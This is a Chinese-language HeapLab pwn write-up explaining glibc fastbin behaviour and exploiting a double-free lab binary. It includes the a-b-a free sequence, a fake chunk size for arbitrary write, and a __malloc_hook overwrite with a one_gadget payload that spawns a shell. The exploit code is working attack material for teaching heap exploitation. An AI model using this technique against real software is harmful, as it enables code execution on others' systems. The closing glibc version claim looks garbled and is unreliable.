Pwn

[HeapLab] FastBin_dup

FastBin

与malloc相对的是free函数

free函数可以释放malloc分配的chunk空间

这些free的chunk会连接在一起在free_list中

fastbins是可以快速访问的bins,里面存储着被free的chunk

用一个简单的例子来看一下,首先malloc了三个空间,这时可以看到vis和fastbins的输出

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执行这一步free,把a这部分空间free掉之后再看有什么变化

image-20210309103115001

执行完了一步,free(a)之后可以看到,vis中原本a那里被标识出来连接到了fastbins

另外在fastbins中0x20的位置填上了原本a的chunk地址

这里的信息是存储在堆中名为arena的空间的,直接用dq &main_arena 20查看

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红色标出来的地方是大小为0x20的fastbin所在的地址

每次free之后如果要被放在fastbin中就会在main_arena中进行修改,图中按照字节下去,接下来是0x30、0x40等等的fastbin

image-20210309103914355

再将b和c都free掉

之后可以看到首先是vis看到的堆中的数据,原本b、c的空间中userdata的第一个字变成了前面的地址;

即c的user-data是chunk b的地址,b的user-data是chunk a的地址,而a的user-data为0,表示为链表末尾;

在main_arena中记录的是chunk c的地址,即fastbins链表中的最后一项

fastbin的结构类似于栈,filo

之后我们再执行三次malloc,查看都分配在哪里

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可以发现最先申请的d是拿到了原本c的空间;

最后申请的f是拿到了原本a的空间;先进后出,类似于栈

Fastbin_dup

漏洞程序本身

这个程序本身也是一个菜单形式

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输入用户名,之后就是malloc、free、target,和之前的程序差不多;

首先分配一个空间随便输一些内容看一下

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之后可以用free输入index来释放这个chunk

释放的index是从0开始往后增长的

最初输入的用户名和target是一个绑定的结构,可以用p来print或者用dq查看内存区域的内容

image-20210309113011670

任意地址写

首先还是实现初级目标,任意地址写

这个程序本身的问题是double free,可以对一个chunk free两次

首先尝试一下直接free这个chunk两次

iShot2021-03-09 11.49.30

直接收到了Abort信号中断下来了,这时用frame 4查看_int_free函数的栈帧

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可以看到在这个函数这里是一个提示,检测到了double free,之后中断了;

看到这里的注释,其实是因为要free的chunk和fastbin的链表中top chunk是相同的导致的;

那么针对这个的绕过方式就是再第一次free之后再free一次其他的chunk

让fastbin的第一项和要free的chunk不是同一个地址就可以了

image-20210309134725591

这样实现的一个效果就是fastbin链表中形成了一个环

0x603000->0x603030->0x603000

接下来如果执行malloc的话就可以两次申请0x603000的空间

如果想要构成任意地址写,可以第一次申请之后修改其中User-Data的第一个字处,改成一个想要写的地址;

这样之后再执行malloc就可以申请来任意一个地址,并且可以写内容;

image-20210309135902423

这里我们执行流程是

a=malloc(0x28);
b=malloc(0x28);

free(a);
free(b);
free(a);

malloc(0x28,p64(0xdeadbeef));

其中最后一次malloc分配的内容到了原本chunk a的位置,并且我们在user data这里填充了0xdeadbeef

这样接下来再申请三次,第三次malloc的内容就会写在0xdeadbeef这里

我们想要修改的是Target变量的值,这个值在elf.sym.user这里,所以我们先把shellcode改成下面这样

a=malloc(0x28);
b=malloc(0x28);

free(a);
free(b);
free(a);

malloc(0x28,p64(elf.sym.user));

malloc(0x28);
malloc(0x28);
malloc(0x28,"writesomethins");

结果刚刚运行就直接收到SIGNAL中断了,查看一下出错的位置的栈帧,可以看到提示的是Memory corruption

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注释写着是在检查chunk的size字段和fastbin申请的是否相等

看一下我们正常申请chunk时的结构,有一个比较重要的地方被忽略了

image-20210309143322952

这些地方都标识着0x31,表示这个chunk大小是0x30

而我们伪造的elf.sym.user那里是没有这个值的,因此需要把这个补一下;

正好这个地方是我们一开始输入username的地方,我们直接把username伪造成这样的结构就可以了

username = p64(0) + p64(0x31)

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这时可以看到这个target就已经被改了

但是这样的任意地址写有一些限制,需要先在要写的位置有一段可以控制的内容,在这里我们想要写的是target,但是首先需要能够控制这个user字段,否则伪造的chunk无法通过size的检查。

任意代码执行

可以尝试像之前一样修改__malloc_hook或是修改__free_hook

但是简单的尝试修改这两个指针的值会导致没有办法通过chunk size的检查

我们可以使用find_fake_fast这个指令查看想要修改的位置附近是否有可能存在可以伪造的chunk内存地址

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这里查到__free_hook附近是没有,__malloc_hook前面一些有这样的一个可以改的地方

实际上把这附近的值都输出一下,可以发现

image-20210309151047303

实际上find_fake_fast做的事情就是在__malloc_hook开始的地址向前找,看是否有哪一个地方可以当作标志位,可以用来伪造的;

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虽然这里0x7f不是在size实际上在的那个位置,但是前面都是0,我们设法把0x7f这个位置放在size的地方再对齐,靠这个0x7f绕过free对size的检查;

然后由于大小是0x70,原本是申请0x28是放在0x30的bins,需要都改成0x68,放在0x70的bins

另外从这个fake chunk的用户数据b3d__malloc_hookb50中间还需要填充一些数据

所以整个流程就是

a=malloc(0x68)
b=malloc(0x68)

free(a)
free(b)
free(a)

malloc(0x68,p64(libc.sym['__malloc_hook']-(0x50-0x2d)))
malloc(0x68)
malloc(0x68)
malloc(0x68,b'B'*(0x50-0x3d)+p64(libc.sym.system))

这样执行完之后就已经被改成了system了

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最后想要弹一个shell就只需要传/bin/bash给system的参数就可以了

但是这里又存在了一个问题

这个程序为了只申请fastbin,在这里malloc的大小受到了限制

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最大120,着肯定没法直接传入一个地址

这里的解决方法是不使用system函数的地址,改用one_gadget

image-20210309155239795

用one_gadget查找这个libc中可能调用的bin/sh

之后把这个地址和libc的起始地址相加之后写到原本system那个地方

下面需要检查一下这里面哪一个gadget的约束条件是满足的

在GDB里面用b *__malloc_hook下断点,之后继续运行

在终端里面用选项1触发malloc,查看这时的寄存器状态

image-20210309155832740

R12、R13都不是NULL,并且rsi、[rsi]也都不是NULL、[rax]、[[rax]]也不是

那只能确认一下[rsp+0x50]这里了

image-20210309160124592

检查一下栈发现这里是满足的,所以可以用这个gadget

最终我们的payload如下

a=malloc(0x68)
b=malloc(0x68)

free(a)
free(b)
free(a)

malloc(0x68,p64(libc.sym['__malloc_hook']-(0x50-0x2d)))
malloc(0x68)
malloc(0x68)
malloc(0x68,b'B'*(0x50-0x3d)+p64(libc.address+0xe1fa1))

malloc(1,'')

运行一下就成功获得了shell权限

image-20210309160307408

FastBin_dup只可以用于glibc_2.3.1及以下的版本

并且需要攻击者知道要修改的地址,以及能够找到绕过chunk size检查的fake chunk

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